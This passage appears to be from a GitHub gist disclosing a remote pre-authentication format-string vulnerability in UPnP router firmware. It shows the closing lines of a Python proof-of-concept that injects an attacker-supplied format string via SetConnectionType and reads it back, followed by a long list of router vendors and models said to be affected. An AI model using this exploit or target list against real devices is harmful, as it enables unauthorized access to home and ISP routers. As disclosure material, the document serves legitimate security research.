rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data) | |
if rematch: | |
print "> FMT RESPONSE: " + rematch.group(1) | |
print "> Cisco Linksys WRT54GL Remote Preauth 0day PoC" | |
print "> Leon Juranic <[email protected]>\n" | |
if len(sys.argv) < 2: | |
sys.stderr.write("> Usage: %s <FMTSTRING>" % (sys.argv[0],)) | |
sys.exit(-1) | |
# This will do the trick... | |
SetConnectionType(sys.argv[1]) | |
GetConnectionTypeInfo() | |
======== | |
===[ Vulnerable Manufacturers And Router Models | |
It is important to note that this list is not full, and it's not detailed, | |
but it's a nice overview for a curious reader. | |
3Com | |
- ADSL Wireless Router | |
- Broadcom ADSL Router | |
- Internet Gateway Device | |
Actiontec | |
- GT784WN | |
- xDSL Router | |
- Broadcom ADSL Router | |
- DSL Modem implementing Qwest TR-064 v1.0 specification | |
- DSL Modem implementing TR-064 v1.0 specification | |
Actiontec Electronics | |
- Actiontec xDSL Router | |
- Verizon ADSL Router | |
ADBB | |
- DSL Router | |
ADB Broadband | |
- ADB ADSL Router | |
- Broadcom ADSL Router | |
ADB Broadband S.p.A. | |
- ADB ADSL Router | |
ADB Broadband S.p.A | |
- HomeStation ADSL Router | |
ADSL2+ Router | |
- ADSL2/2+ Modem Router | |
- ADSLRouter | |
ALBIS | |
- Router VLR-4300-I | |
Allied Telesis K.K. | |
- CG-BARFX3 | |
Alpha | |
- ADSL Router | |
- DLink ADSL Router | |
- Sky ADSL Router | |
Alvarion | |
- Residential Gateway | |
ASB | |
- ADSL Router | |
- Alcatel-EG692HW Internet Sharing Gateway | |
- ChinaTelecom E8C(EPON) Gateway | |
- Home Gateway | |
Askey | |
- ADSL2+ Router | |
- ADSL Router | |
Askey Computer Corp. | |
- Wireless ADSL2+ Router | |
ASUS | |
- Wireless Router | |
ASUSTek | |
- ASUS ADSL Router | |
- ASUS Wireless Harddisk Drive | |
- ASUS Wireless Router | |
ASUSTek Computer Inc. | |
- ASUS Wireless Router | |
- Residential Gateway Device | |
- WL-500gPV2 | |
- WL-500gP V2 | |
- WL-520GU | |
- WL700gE | |
BEC_8800N | |
- BEC 8800N | |
BEC Technologies Inc. | |
- BEC 7800TN R2 | |
- Broadcom ADSL Router | |
Belkin | |
- ADSL Router | |
- F5D8232-4 v1000 | |
- N1 ADSL Router | |
- Wireless ADSL Router | |
- BoB | |
- iiNet BoB | |
- Wireless ADSL Router | |
Bellmann | |
- Broadcom ADSL Router | |
Billion | |
- BiPAC 7700N | |
- BiPAC 7700N R2 | |
Billion Electric Co., Ltd. | |
- ADSL2+ Firewall Router | |
- BiPAC 7800VDOX | |
- BiPAC 7800VDPX | |
- home.gateway | |
Billion Electric Co.,Ltd. | |
- home.gateway | |
Billion Electric Co, PC Range Pty Ltd. | |
- home.gateway | |
BM | |
- ChinaTelecom E8C(EPON) Gateway | |
Broadcom | |
- 3G Router | |
- Actiontec GT784WN | |
- Actiontec xDSL Router | |
- ADSL2+ 11n WiFi CPE | |
- ADSL2/2+ Modem Router | |
- ADSL Router | |
- ADSL Router | |
- ChinaTelecom E8 ADSL Router | |
- D-link ADSL Router | |
- D-Link ADSL Router | |
- DLink ADSL Router | |
- D-Link DSL-2640B | |
- D-Link DSL-2641B | |
- D-Link DSL-500B | |
- DSL2740B ADSL Router | |
- DSL Router | |
- HomeStation ADSL Router | |
- PHILEAS-WORLD | |
- PTCL ADSL Router | |
- Residential Gateway Device | |
- SemIndia Systems ADSL2Plus Router | |
- STOREX | |
- WL700g | |
- Zoom ADSL Router | |
BT | |
- Voyager 2091 | |
- Voyager 220V | |
- Voyager 2091 | |
- Voyager 2110 | |
- Voyager 220V | |
- Voyager 2500V | |
Careca | |
- HRDSL108W 108M Wireless ADSL2+ router | |
CATCH-TEC | |
- ADSL2/2+ Modem Router | |
CDC POINT S.P.A | |
- ADSL2/2+ Modem Router | |
ChinaTelecom | |
- ASB Home Gateway | |
China Telecom | |
- ChinaNet EPON Router | |
- E8C(EPON) Gateway | |
- E8C Gateway | |
- Navigator 1-2 Gateway | |
Cisco Systems,Inc. | |
- Cisco ADSL Router | |
ClearAccess | |
- Broadcom ADSL Router | |
- D-Link DSL-2730B | |
Comtrend | |
- AR-5383n | |
- Broadcom ADSL Router | |
- single-chip ADSL router | |
- WAP-5850g | |
- Netcomm ADSL2+/3G Wi-Fi Router | |
Corega | |
- CG-BARMX2 | |
- CG-WLBARAGM | |
Danalink | |
- Dynalink ADSL Router | |
- Dynalink Wireless ADSL2+ Router | |
DARE | |
- DareGlobal Home Gateway | |
Dare | |
- Router | |
Dare Inc. | |
- Dare ADSL2+ Modem/Wireless Router | |
DCOM | |
- ADSL Router | |
DGT | |
- VDSL Router | |
Digicom | |
- ADSL Router | |
Digital Data Communications, Inc | |
- FBR-1461A ADSL2+ Modem Router(X.X.X.X) | |
- FBR-1461 ADSL2+ Modem Router (X.X.X.X) | |
DIGITUS | |
- Internet Gateway Device | |
DIT | |
- Gateway | |
D-Link | |
- ADSL MODEM | |
D-link | |
- ADSL Router | |
D-LINK | |
- ADSL Router | |
DLink | |
- Alpha ADSL Router | |
D-Link Corporation. | |
- D-Link D-LinkDSL-2640B | |
- D-Link DSL-2640B | |
- D-LinkDSL-2640B | |
- D-LinkDSL-2641B | |
- D-Link DSL-2740B | |
- D-LinkDSL-2740B | |
- D-Link DSL-2740U | |
- D-Link DSL-2741B | |
- D-LinkDSL-2741B | |
- D-Link DSL-2750B | |
- D-LinkDSL-2750B | |
D-Link Corporation | |
- D-Link DSL6740U | |
- DSL-2640B | |
- DSL2740B | |
- DSL-2740B | |
- DSL-2740B Adsl Router | |
- DSL-2740B Adsl Router | |
- DSL-2740U Adsl Router | |
- DSL-2741B | |
- DSL-2741B Adsl Router | |
- DSL2750B | |
- DVA-G3670B Adsl Router | |
Dlink | |
- ADSL router | |
- ADSL Router | |
- D-Link ADSL Router | |
- ADSL Router | |
- DLink ADSL Router | |
- ADSL Router | |
- DSL-2500U | |
- DSL-2542B | |
- DSL-2640B | |
- DSL-2640U | |
- DSL-2730B | |
- D-Link DSL-2730B | |
- DSL2730U | |
- DSL-2730U | |
- DSL-2740EL | |
- DSL2750U | |
- DSL-2750U | |
- D-Link DSL-526B | |
- DSL-526B | |
- Router | |
- D-Link VDSL Router | |
- Wireless Router | |
- DSL-2542B | |
- DSL-2640B | |
- DSL-2640BT | |
- DSL-2640U | |
- DSL-2740B | |
- DSL-526B | |
- DSL-526B | |
- DSL-526B | |
- DVA-G3672B-LTT Networks ADSL Router | |
- DVA-G3672B Networks ADSL Router | |
DQ | |
- ADSL Router | |
DQ Technology, Inc. | |
- ADSL2+ 11n WiFi CPE | |
- ADSL2+ CPE | |
- DSL-2542BNetworksADSLRouter | |
- DSL-2642BNetworksADSLRouter | |
- DSL-2730BNetworksADSLRouter | |
- DSL-2730UNetworksADSLRouter | |
DSL | |
- ARouter | |
- DSLRouter | |
- TW ARouter | |
Dynalink | |
- ADSL2+ Router | |
- ADSL2+ Wireless Modem Router | |
- Wireless ADSL2+ Router | |
ENKOM | |
- AMIS Router | |
FAMNET | |
- ADSL Router | |
FiberHome | |
- ADSL Router | |
- Broadcom ADSL Router | |
Glitel | |
- Broadcom ADSL Router | |
gmesh | |
- ADSL Router | |
huaqin | |
- HGU421 Router | |
- HGU421 v3 Router | |
Huawei-3Com | |
- BR204+ | |
Huawei | |
- Echolife ADSL Router | |
- EchoLife Home Gateway | |
- HG227 | |
- ADSL Router | |
- Residential Gateway Device | |
Huawei Technologies Co., Ltd | |
- EchoLife HG520 | |
iBall Baton | |
- 150M Wireless-N ADSL2+ Router | |
iiNet | |
- BoB2 | |
- BoBLite | |
Innoband | |
- DSL Router | |
Inteno | |
- Broadcom ADSL Router | |
- DSL Router | |
- Residential Gateway | |
Intercross | |
- Broadcom ADSL Router | |
- InternetGatewayDevice | |
IskraTEL | |
- Broadcom ADSL Router | |
ITI Ltd. | |
- ITI ADSL2+ Modem/Wireless Router | |
- ITI Ltd.ADSL2Plus Modem/Router | |
K?NIG | |
- ADSL2/2+ Modem Router | |
- ADSL2/2+ Modem Router | |
Kunhar Peripherals Pvt Ltd | |
- 54M Wireless ADSL2+ router | |
LevelOne | |
- FBR-1461B | |
Linksys by Cisco | |
- Linksys WRT54G | |
- Linksys WRT54GL | |
Linksys Inc. | |
- DD-WRT Router (X.X.X.X) | |
- Linksys MA568243 | |
- Linksys ma890673 | |
- Linksys WRT150N | |
- Linksys WRT54GL | |
- Linksys WRT54GS-PC | |
- Linksys wrt54gs v4 | |
- Linksys WRT54GS (X.X.X.X) | |
- Residential Gateway Device | |
Linksys | |
- Internet Gateway Device | |
- Wireless Router | |
MAXON | |
- Residential Gateway Device | |
MEDIACOM Wireless-N ADSL2+ Router | |
MEDIACOM Wireless-N ADSL2+ Router - ADSL2+ Router | |
Micronet Communications Inc. | |
- Micronet WLAN ADSL2+ Modem Router | |
Micro-Star International | |
- Residential Gateway Device | |
Minitar Corporation | |
- Residential Gateway Device | |
Motorola | |
- Residential Gateway Device | |
NB | |
- DSL-2740B | |
NetComm | |
- Broadcom ADSL Router | |
NetComm Limited | |
- NetComm ADSL2+ Router | |
- NetComm ADSL2+ Wireless Router | |
- 11n Wireless ADSL2+ Router | |
- 11n Wireless ADSL Router | |
- Netcomm ADSL2+/3G Wi-Fi Router | |
- ADSL2+ Router | |
- ADSL2+ Wireless Router | |
- NB6 ADSL2+ Router | |
- NB6Plus4W ADSL2+ Wireless Modem Router | |
- NB6PLUS4W Wireless ADSL2+ Router | |
- NB6W Wireless ADSL2+ Router | |
- WiFi Data and VoIP Gateway | |
NetComm Wireless Limited | |
- NetComm ADSL2+ Router | |
- NetComm ADSL2+ Wireless Router | |
Netgear | |
- Broadcom ADSL Router | |
- ADSL2+ Router | |
- ADSL Router | |
- RP614v4 | |
Neuf Telecom | |
- Trio4 | |
NewMedia-NET GmbH | |
- DD-WRT Router (X.X.X.X) | |
OPTICOM | |
- DSLink 279 | |
Orcon | |
- Genius | |
- GeniusLite | |
- Orcon | |
- P-660HN-51 | |
PENTAGRAM | |
- home.gateway | |
PhoebeMicro | |
- Internet Gateway Device | |
Pirelli | |
- ADSL Router | |
Pirelli Broadband Solutions | |
- HomeStation ADSL Router | |
PLANET | |
- ADN-4000 | |
Planex | |
- BLW-54CW | |
- Internet Gateway Device | |
QTECH | |
- | |
- Broadcom ADSL Router | |
- QTECH | |
- Residential Gateway | |
- ResidentialGatewayDevice | |
ROTAL | |
- Wireless ADSL2+ Router | |
Router | |
- ADSL Router | |
- Router | |
Sagem | |
- AFAQ DSL SHAMEL ROUTER | |
Sagemcom | |
- ADSL Router | |
- ADSL Router | |
SemIndia Systems Private Ltd. | |
- SemIndia ADSL2Plus Modem/Router | |
SemIndia Systems Pvt. Ltd. | |
- SemIndia Systems ADSL2Plus Modem Router | |
- SemIndia Systems ADSL2Plus Modem/Wireless Router | |
SIEMENS | |
- alice.box | |
Siemens | |
- ADSL SL2-141 | |
- ADSL SL2-141-I | |
- Gigaset SE515B | |
- SL2-141-I | |
SimpleTech | |
- OdenShare | |
- SimpleShare | |
Sinus | |
- 1054 DSL | |
SmartLink | |
- ADSL Router | |
Sparklan | |
- Internet Gateway Device | |
Speedport | |
- 500V | |
- W 500V | |
Starbridge Networks | |
- Broadcom ADSL Router | |
Star-Net | |
- Broadcom ADSL Router | |
STAR-NET | |
- Broadcom ADSL Router | |
Sveasoft Inc. | |
- Residential Gateway Device | |
TARGA WR 500 VoIP | |
- TARGA WR 500 VoIP | |
Tecom | |
- DSL Router | |
TeleWell Oy (http://www.telewell.fi) | |
TeleWell Oy (http://www.telewell.fi) - TeleWell.gateway | |
Telsey | |
- ADSL Router | |
TELUS | |
- VSG1432 | |
Tenda | |
- ADSL2/2+ Modem Router | |
Tenda/Imex | |
- W150D | |
Tenda/lmex | |
- ADSL2+ Ethernet Modem Router | |
- ADSL Router | |
- Gateway | |
TOPTRONICS | |
- ADSL Router | |
TP-LINK | |
- ADSL Router | |
- 54M Wireless ADSL2+ router | |
- ADSL2+ Modem Router | |
- ADSL2+ Router | |
- ADSL2+ Router Modem | |
- ADSL Router | |
- Wireless ADSL2+ Modem Router | |
- Wireless ADSL2+ router | |
- Wireless ADSL2+ Router | |
- Wireless N ADSL2+ Modem Router TD-W8960N | |
U.S. Robotics Corporation | |
- Internet Gateway Device | |
U.S. Robotics | |
- USRobotics ADSL2+ Router | |
- ADSL 4 Port Router | |
- ADSL 4-Port Router | |
- USR8561 | |
UTStarcom Inc. | |
- UTStarcom ADSL2+ Modem Router | |
UTstarcom Inc. | |
- UTstarcom ADSL2+ Modem/Wireless Router | |
- UTStarcom ADSL2+ Modem/Wireless Router | |
- VSG1432-B101 | |
- VSG1435-B101 | |
WIN | |
- eNet660S | |
WorldNet | |
- ADSL Router | |
XAVi | |
- DSL Router | |
Zhone Technologies. | |
- UPnP v1.0 | |
Zhone | |
- Gateway | |
- Wireless Gateway | |
ZISA | |
- ADSL Router | |
ZTE | |
- ADSL Router | |
- Broadcom ADSL Router | |
ZTE Corporation | |
- ZXDSL 931 Series Device | |
- Home Gateway | |
- ZXDSL 531B | |
ZyXEL Communication Crop. | |
- P-870H-51A V2 UPnP | |
- P-870H-51b UPnP | |
- P-870H-53A V2 UPnP | |
- P-870HN-51b UPnP | |
- P-870HN-51D UPnP | |
- P-870HN-53b UPnP | |
- P-870HNU-51b | |
- VSG1435-B101 | |
- Wireless Broadband Router | |
- ZyXEL UPnP v1.0 | |
ZyXEL | |
- P-660HN-51 | |
- P-870HN-53b | |
- P-873HNU-51B | |
- P-873HNUP-51B | |
- Qwest TR-064 v1.0 | |
- VMG1312-B30A | |
- VSG1432-B101 | |
- VSG1435-B101 | |
- ADSL Router | |
- TR64 Router | |
- UPnP Router | |
- VDSL Router | |
ZYXEL | |
- ZyXEL VDSL Router | |
- xDSL Router |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment